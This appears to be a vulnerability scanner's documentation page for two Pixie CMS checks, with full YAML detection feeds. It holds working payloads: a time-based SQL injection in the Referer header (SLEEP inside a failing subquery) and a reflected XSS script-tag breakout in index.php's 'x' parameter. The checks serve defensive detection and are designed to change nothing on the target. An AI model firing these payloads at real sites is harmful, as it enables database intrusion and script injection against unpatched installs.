Pixie CMS — 2 vulnerability checks
noctis ships 2 vulnerability checks for Pixie CMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Pixie CMS Referer Header SQL Injection
| CVE | CVE-2009-1066 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pixie-cms/CVE-2009-1066.yaml |
Pixie CMS 1.01 writes the Referer header of every page view into its visitor log with an SQL INSERT, without escaping it.
This check finds a Pixie install (the index.php page, or Pixie's own "not found" page, carrying the "Pixie Powered" comment or the Bad Behavior bb2_screener_ cookie) under the web root, /cms or /pixie, then requests that page with a Referer that closes the quoted value and adds a SLEEP delay inside a derived table, followed by a subquery returning two rows. The finding is confirmed when two delays of different random lengths each slow the reply down by the requested time compared with the same request asking for no delay. The second subquery makes the INSERT fail after the delay, so nothing is written to the log and no data is read. A fixed version escapes the header and records the check's requests in its visitor log as ordinary referrals.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pdir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pdir}}/index.php - HTTP(S) request
GET {{pdir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pdir}}/index.php - HTTP(S) request
GET {{pdir}}/index.php - Parses / computes the next value with a Rhai script
- Checks
tbfor^SLEEP$→ finding QoD 75: Pixie CMS Referer Header SQL Injection (CVE-2009-1066)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1066
- https://www.exploit-db.com/exploits/8252
- https://github.com/thiur/pixie-cms/commit/bce6f8fbe32f9fac77371ec294fc5ab68a329a12
Feed source — tests/vulnerabilities/pixie-cms/CVE-2009-1066.yaml
# Pixie CMS 1.01 — Referer header SQL injection in referral() (CVE-2009-1066)
#
# index.php calls referral() (admin/lib/lib_logs.php) on every page view, which
# stores the Referer header without escaping:
# safe_insert("pixie_log", "user_id = '$uname', user_ip = '$ip', log_time = now(),
# log_type = 'referral', log_icon = 'referral', log_message = '$referral'");
# Fixed in commit bce6f8f (Mar 2009, released in 1.02): $referral = sterilise($referral, true),
# which ends in mysql_real_escape_string(). Code read from github.com/thiur/pixie-cms
# (tags pixie_v1.01 / pixie_v1.02). index.php sets error_reporting(0) and safe_query()
# prints nothing, so a failed query is invisible: only a time-based proof is possible.
#
# Detection (no row written): the Referer closes the quoted string and makes the value
# 'http://noctis.invalid/<marker>'=CONCAT((SELECT 1 FROM (SELECT SLEEP(n))noctis),
# (SELECT 1 UNION SELECT 2)) OR 'a'=''
# The derived table sleeps n s once, then the two-row subquery makes the INSERT fail
# ("Subquery returns more than 1 row"), so nothing is logged. String-only operators: no
# string-to-number conversion, valid with or without STRICT_TRANS_TABLES. Measured on
# MariaDB 10.11 with the real pixie_log table: SLEEP(3) → 3.01 s, SLEEP(0) → 0.01 s,
# 0 rows inserted. Same-shape SLEEP(0) baseline (sent twice, the faster one kept), then
# a long and a short random delay that must each land in their own window over the
# baseline, at least 2 s apart (a filter delaying every quoted Referer alike gives ~0).
# The Referer keeps a ":" (Bad Behavior, bundled with Pixie, rejects a Referer without
# one) and does not contain the site URL (referral() skips self-referrals).
#
# Improvement over the source check: the source NASL only tests the "x" XSS of the same
# advisory (CVE-2009-1067, see CVE-2009-1067.yaml); this feed tests the Referer SQL
# injection the CVE describes, without writing to the database.
# Product gate: index.php holds the "Pixie Powered" comment or sets the Bad Behavior
# bb2_screener_ cookie (the source NASL's gate), with HTTP 200 or 404: with "clean URLs"
# on, or on a blank install (default_page 'none'), a plain GET index.php resolves to
# Pixie's 404 page — still the full template, and referral() has already run.
# MySQL 8 may evaluate the uncorrelated (SELECT 1 UNION SELECT 2) during optimisation
# and fail before sleeping (a miss, never a false positive); Pixie 1.01 needs PHP's old
# mysql_* extension, so it runs on MySQL 5.x / MariaDB, where the shape was measured.
#
# CVSS: NVD v3.1 9.8 (v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_pixie_cms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100066, GPL-2.0-only); advisory: lampsecurity.org
# "Pixie CMS Multiple Vulnerabilities" (exploit-db 8252).
uid: 90a865d8-4823-40cf-8a83-27639be9e10b
name: "Pixie CMS Referer Header SQL Injection (CVE-2009-1066)"
description: |
Pixie CMS 1.01 writes the Referer header of every page view into its visitor log
with an SQL INSERT, without escaping it.
This check finds a Pixie install (the index.php page, or Pixie's own "not found"
page, carrying the "Pixie Powered" comment or the Bad Behavior bb2_screener_ cookie) under the web root, /cms or
/pixie, then requests that page with a Referer that closes the quoted value and adds
a SLEEP delay inside a derived table, followed by a subquery returning two rows. The
finding is confirmed when two delays of different random lengths each slow the reply
down by the requested time compared with the same request asking for no delay. The
second subquery makes the INSERT fail after the delay, so nothing is written to the
log and no data is read. A fixed version escapes the header and records the check's
requests in its visitor log as ordinary referrals.
cves: [CVE-2009-1066]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: sqli
tags: [pixie-cms, cms, php, sqli, time-based, referer]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1066"
- "https://www.exploit-db.com/exploits/8252"
- "https://github.com/thiur/pixie-cms/commit/bce6f8fbe32f9fac77371ec294fc5ab68a329a12"
# OpenVAS/Greenbone NASL 2009/gb_pixie_cms_mult_vuln.nasl (GPL-2.0-only)
steps:
- id: gen
action: script
code: |
let lng = rand_int(6, 7);
#{ tok: "noctis" + oob_token.sub_string(0, 8), lng: lng, sht: lng - 3 }
store_as: sc
# ── Loop group: every following step runs once per install dir. Each pass
# resets the stored results it reads.
- id: init-land
action: set_var
var_name: land
var_value: {status: 0, body: "", headers: {}}
loop:
var: pdir
over: ["", "/cms", "/pixie"]
- id: init-b1
action: set_var
var_name: b1
var_value: {status: 0, duration_ms: 0}
- id: init-b2
action: set_var
var_name: b2
var_value: {status: 0, duration_ms: 0}
- id: init-slong
action: set_var
var_name: slong
var_value: {status: 0, duration_ms: 0}
- id: init-sshort
action: set_var
var_name: sshort
var_value: {status: 0, duration_ms: 0}
- id: landing
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: land
- id: gate
action: script
code: |
let body = if type_of(land.body) == "string" { land.body } else { "" };
let ck = if type_of(land.headers) == "map" && "set-cookie" in land.headers { land.headers["set-cookie"].to_string() } else { "" };
#{ ok: (land.status == 200 || land.status == 404) && (body.contains("Pixie Powered") || ck.contains("bb2_screener_")) }
store_as: px
- id: baseline-1
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php"
headers:
Referer: "http://noctis.invalid/{{sc.tok}}'=CONCAT((SELECT 1 FROM (SELECT SLEEP(0))noctis),(SELECT 1 UNION SELECT 2)) OR 'a'='"
condition: "px.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: b1
- id: baseline-2
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php"
headers:
Referer: "http://noctis.invalid/{{sc.tok}}'=CONCAT((SELECT 1 FROM (SELECT SLEEP(0))noctis),(SELECT 1 UNION SELECT 2)) OR 'a'='"
condition: "px.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: b2
- id: check-baseline
action: script
code: |
let base = if b2.status != 0 && (b1.status == 0 || b2.duration_ms < b1.duration_ms) { b2.duration_ms } else { b1.duration_ms };
#{ ok: px.ok && (b1.status != 0 || b2.status != 0) && base < 4000, base: base }
store_as: bl
# Long delay first, then the short one.
- id: sleep-long
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php"
headers:
Referer: "http://noctis.invalid/{{sc.tok}}'=CONCAT((SELECT 1 FROM (SELECT SLEEP({{sc.lng}}))noctis),(SELECT 1 UNION SELECT 2)) OR 'a'='"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: slong
- id: sleep-short
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php"
headers:
Referer: "http://noctis.invalid/{{sc.tok}}'=CONCAT((SELECT 1 FROM (SELECT SLEEP({{sc.sht}}))noctis),(SELECT 1 UNION SELECT 2)) OR 'a'='"
condition: "bl.ok && slong.status != 0 && slong.duration_ms >= bl.base + sc.lng * 1000 - 1000"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: sshort
- id: check-timing
action: script
code: |
let dl = slong.duration_ms - bl.base;
let ds = sshort.duration_ms - bl.base;
let ok = bl.ok && slong.status != 0 && sshort.status != 0
&& dl >= sc.lng * 1000 - 1000 && dl <= sc.lng * 1000 + 3000
&& ds >= sc.sht * 1000 - 1000 && ds <= sc.sht * 1000 + 3000
&& (dl - ds) >= 2000;
if ok { "SLEEP" } else { "" }
store_as: tb
- id: report
action: match
source: tb
pattern: "^SLEEP$"
on_match:
finding:
title: "Pixie CMS Referer Header SQL Injection (CVE-2009-1066)"
description: "The Referer header of a Pixie CMS page view is placed unescaped into the SQL INSERT that logs the visit. A Referer closing the quoted value and adding SLEEP delays made the reply wait for the requested time, so an unauthenticated visitor can run SQL in the site's database (blind extraction of the admin password hash and other data, or changes to the log table)."
remediation: "Upgrade Pixie CMS to 1.02 or later (the referral code escapes the Referer since then). Pixie is no longer maintained: plan a migration to a maintained CMS."
confidence_delta: 0.55
qod: 75
evidence: "Time-based SQLi: GET {{pdir}}/index.php with Referer http://noctis.invalid/<marker>'=CONCAT((SELECT 1 FROM (SELECT SLEEP(n))noctis),(SELECT 1 UNION SELECT 2)) OR 'a'=' — baseline SLEEP(0) {{bl.base}} ms, SLEEP({{sc.lng}}) {{slong.duration_ms}} ms, SLEEP({{sc.sht}}) {{sshort.duration_ms}} ms"
stop: truePixie CMS index.php x Parameter Reflected XSS
| CVE | CVE-2009-1067 |
|---|---|
| Severity | medium · CVSS 6.1 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pixie-cms/CVE-2009-1067.yaml |
Pixie CMS 1.01 prints the "x" request parameter of index.php, unescaped, into the class attribute of the page's <body> tag.
This check requests index.php under the web root, /cms and /pixie with s=blog&m=permalink and an x value made of a double quote, a closing bracket and a script element carrying a random marker. The finding requires a Pixie page, its normal page or its "not found" page (the "Pixie Powered" comment or the Bad Behavior bb2_screener_ cookie) whose body class attribute ends with x_ followed, verbatim, by the injected quote and script element, so the attribute is closed and the script element added. A version that strips the value to letters and digits is not reported. The request only renders a page and changes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pdir}}/index.php?s=blog&m=permalink&x=%22%3E%3Cscript%3Ealert(%2F{{tok}}%2F)%3C%2Fs… - Parses / computes the next value with a Rhai script
- Checks
xss_prooffor^x_"><script>alert\(/noctis[0-9a-f]{12}/\)</script>$→ finding QoD 75: Pixie CMS index.php x Parameter Reflected XSS (CVE-2009-1067)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1067
- https://www.exploit-db.com/exploits/8252
- https://github.com/thiur/pixie-cms/commit/bce6f8fbe32f9fac77371ec294fc5ab68a329a12
Feed source — tests/vulnerabilities/pixie-cms/CVE-2009-1067.yaml
# Pixie CMS 1.01 — reflected XSS through the "x" page variable (CVE-2009-1067)
#
# index.php extract()s $_REQUEST and prints the page variables into the class
# attribute of the <body> tag (index.php line 160 in pixie_v1.01):
# <body id="pixie" class="pixie y.. m.. d.. h.. <?php ... if ($x) { print "x_".$x." "; } ?>">
# 1.01 takes $x raw from the query string (lib_pixie.php even clears "$X" instead of
# "$x" on 404 pages, so it is printed whatever page "s" names). Fixed in commit bce6f8f
# (released in 1.02): $x is reduced to letters, digits and dashes. Code read from
# github.com/thiur/pixie-cms (tags pixie_v1.01 / pixie_v1.02).
#
# Detection (benign, read-only): GET <dir>/index.php?s=blog&m=permalink&x="><script>
# alert(/<marker>/)</script> (percent-encoded, random marker per scan) on the web root,
# /cms and /pixie. Reported when a Pixie page (HTTP 200 or 404; the "Pixie Powered" comment or the Bad
# Behavior bb2_screener_ cookie, the source check's gate) holds a <body class="pixie ...">
# attribute ending in x_ followed, verbatim, by "><script>alert(/<marker>/)</script>.
# Under PHP magic_quotes_gpc the quote comes back as \" (still a breakout in HTML): an
# optional backslash is accepted. The URL stays far below the 260-byte limit of Pixie's
# bombShelter() (which logs longer URLs as an attack).
#
# Improvements over the source NASL: random marker instead of the fixed
# alert(document.cookie) (a page always printing that string is not reported), and
# the breakout must sit in the body class attribute, after x_.
# The same advisory's Referer SQL injection (CVE-2009-1066) is tested by CVE-2009-1066.yaml.
#
# CVSS: NVD v3.1 6.1 (v2 4.3).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_pixie_cms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100066, GPL-2.0-only).
uid: dc52a47c-d8dd-4927-9364-5a3674aba289
name: "Pixie CMS index.php x Parameter Reflected XSS (CVE-2009-1067)"
description: |
Pixie CMS 1.01 prints the "x" request parameter of index.php, unescaped, into the
class attribute of the page's <body> tag.
This check requests index.php under the web root, /cms and /pixie with
s=blog&m=permalink and an x value made of a double quote, a closing bracket and a
script element carrying a random marker. The finding requires a Pixie page, its
normal page or its "not found" page (the
"Pixie Powered" comment or the Bad Behavior bb2_screener_ cookie) whose body class
attribute ends with x_ followed, verbatim, by the injected quote and script element,
so the attribute is closed and the script element added. A version that strips the
value to letters and digits is not reported. The request only renders a page and
changes nothing on the server.
cves: [CVE-2009-1067]
cvss: 6.1
severity: medium
confidence_base: 0.30
category: xss
tags: [pixie-cms, cms, php, xss]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1067"
- "https://www.exploit-db.com/exploits/8252"
- "https://github.com/thiur/pixie-cms/commit/bce6f8fbe32f9fac77371ec294fc5ab68a329a12"
# OpenVAS/Greenbone NASL 2009/gb_pixie_cms_mult_vuln.nasl (GPL-2.0-only)
steps:
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: "", headers: {}}
loop:
var: pdir
over: ["", "/cms", "/pixie"]
- id: probe
action: http_request
method: GET
port: "{{port}}"
path: "{{pdir}}/index.php?s=blog&m=permalink&x=%22%3E%3Cscript%3Ealert(%2F{{tok}}%2F)%3C%2Fscript%3E"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_r
- id: reflection
action: script
code: |
let out = "";
if (probe_r.status == 200 || probe_r.status == 404) && type_of(probe_r.body) == "string" {
let b = probe_r.body;
let ck = if type_of(probe_r.headers) == "map" && "set-cookie" in probe_r.headers { probe_r.headers["set-cookie"].to_string() } else { "" };
if b.contains("Pixie Powered") || ck.contains("bb2_screener_") {
if ereg("<body[^>]*class=\"pixie [^\"<>]*x_\\\\?\"><script>alert\\(/" + tok + "/\\)</script>", b) {
out = "x_\"><script>alert(/" + tok + "/)</script>";
}
}
}
out
store_as: xss_proof
- id: report
action: match
source: xss_proof
pattern: '^x_"><script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
on_match:
finding:
title: "Pixie CMS index.php x Parameter Reflected XSS (CVE-2009-1067)"
description: "A Pixie CMS page requested with an x parameter made of a double quote and a script element was rendered with that value copied unescaped into the class attribute of the <body> tag, so the quote closes the attribute and the script element is added to the page. An attacker can send a crafted link that runs script in the browser of a site visitor or administrator."
remediation: "Upgrade Pixie CMS to 1.02 or later (the page variables are reduced to letters, digits and dashes since then). Pixie is no longer maintained: plan a migration to a maintained CMS."
confidence_delta: 0.55
qod: 75
evidence: "GET {{pdir}}/index.php?s=blog&m=permalink&x=%22%3E%3Cscript%3Ealert(%2F<marker>%2F)%3C%2Fscript%3E returned HTTP {{probe_r.status}} with a Pixie page whose body class carries the breakout: {{xss_proof}}"
stop: true